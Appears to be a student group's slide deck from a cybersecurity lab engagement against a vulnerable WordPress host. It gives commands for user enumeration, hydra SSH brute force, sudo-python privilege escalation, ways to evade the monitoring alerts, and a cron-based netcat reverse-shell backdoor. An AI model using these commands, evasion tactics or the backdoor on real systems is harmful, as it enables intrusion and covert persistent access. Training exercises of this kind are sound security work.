Final Engagement

Attack, Defense & Analysis of a Vulnerable Network

1

Group: Conor, Josh, Diamond, Austin, Natasha, and Fahrad

Table of Contents

This document contains the following resources:

Network Topology & Critical Vulnerabilities

Exploits Used

Methods Used to Avoid Detection

2

01

02

03

Network Topology

& Critical Vulnerabilities

3

3

Network Topology

4

Critical Vulnerabilities: Target 1

Our assessment uncovered the following critical vulnerabilities in Target 1.

​

​

5

Exploits Used

6

Exploitation: User Enumeration

​

• Using wordpress we were able to exploit the vulnerability, by wpscan command:

- wpscan --url http://192.168.1.110/wordpress --enumerate u

• The exploit achieved: wpscan remotely scans to find vulnerabilities in the WordPress website, which can also be used from an attacker standpoint.
• The following screenshot shows the exploit:

​

7

Exploitation: Brute Force/Weak Passwords

Summarize the following:

• The vulnerability that was easiest to exploit was Michael’s weak password. Considering it was a very weak (password: michael).
• The exploit achieved: SSH into the user Michael to gain root access, which allowed the attacker access to the web server.

​

8

The following commands should be followed in this sequence to obtain root access to the user Michael:

• Enter ‘ssh michael@192.168.1.110’ within Kali.
• Next it will prompt you to enter the password: michael
• cd var/www/html
• ls -l
• nano service.html (can find flag 1 here)

​

Exploitation: Hydra SSH Attack

​

• By utilizing the hydra command we were able to exploit the user Michael’s password:
• hydra -l michael -P /usr/share/wordlists/rockyou.txt -s 22 -f -vV 192.168.1.110 ssh
• The exploit achieved: Ability to find Michael’s password.

​

9

Exploitation: Privilege Escalation

Summarize the following:

• The exploit that was utilized was a Python Privilege Escalation vulnerability

sudo python -c ‘import pty;pty.spawn(“/bin/bash”)’

• The exploit allowed for root access to be granted. Allowing for the final flag to be found.

​

Commands:

• ssh steven@192.168.1.110
• password: pink84
• sudo -l
• sudo python -c ‘import pty;pty.spawn(“/bin/bash”)’
• cd /root
• ls
• cat flag4.txt

​

10

Avoiding Detection

11

11

Stealth Exploitation of User Enumeration

Monitoring Overview

• Which alerts detect this exploit? Excessive HTTP Errors alert
• Which metrics do they measure? WHEN count() GROUPED OVER top 5 'http.response.status_code'
• Which thresholds do they fire at? 400+ error codes within 5 minutes

​

Mitigating Detection

• How can you execute the same exploit without triggering the alert?

There is a more stealthy alternative wpscan command which can avoid triggering alerts

Command: “wpscan --stealthy --url http://192.168.1.110/wordpress u

• Are there alternative exploits that may perform better?

Social engineering such as using authority or urgency to have a user disclose their info.

​

​

12

Stealth Exploitation of Brute Force/Weak Passwords

Monitoring Overview

• Which alerts detect this exploit: Excessive HTTP Errors
• Which metrics do they measure: WHEN count() GROUPED OVER top 5 'http.response.status_code'
• Which thresholds do they fire at: 400+ error codes within 5 minutes

​

Mitigating Detection

• How can you execute the same exploit without triggering the alert? Brute forcing attack over a longer period of time

We could have achieved the same results by guessing the password. As the password is a weak password being the same as the users username. (Username: micheal, Password: michael)

• Are there alternative exploits that may perform better? phishing emails

Alternatively we could have sent a Phishing Email to trick michael into giving us his password.

​

13

Stealth Exploitation of Open Port Scanning

Monitoring Overview

• Which alerts detect this exploit? Excessive HTTP Errors Alert

& HTTP Request Size Monitor

• Which metrics do they measure?

WHEN count() GROUPED OVER top 5 'http.response.status_code'

& WHEN sum() of http.request.bytes OVER all documents

• Which thresholds do they fire at? Excessive HTTP Errors is 400+ error

codes within 5 minutes while HTTP Request Size Monitor is above

3500 requests within 1 minute

​

Mitigating Detection

• How can you execute the same exploit without triggering the alert? There are

multiple types of scan to run that are more stealthy such as NULL scan, FIN, and X-MAS scan

• Are there alternative exploits that may perform better? Use Nessus instead of NMAP

​

14

Maintaining Access

15

Persistent backdoor.

Backdoor Overview:

• Once we gained root access into the steven account. We setup a cronjob that will periodically send a reverse shell back into our Attack Machine.
• “ * * * * * nc -e /bin/bash 192.168.1.90 4444 “

​

• We can connect to the machine with a netcat session
• nc -lvnp 4444

​

​

16

17

END OF REPORT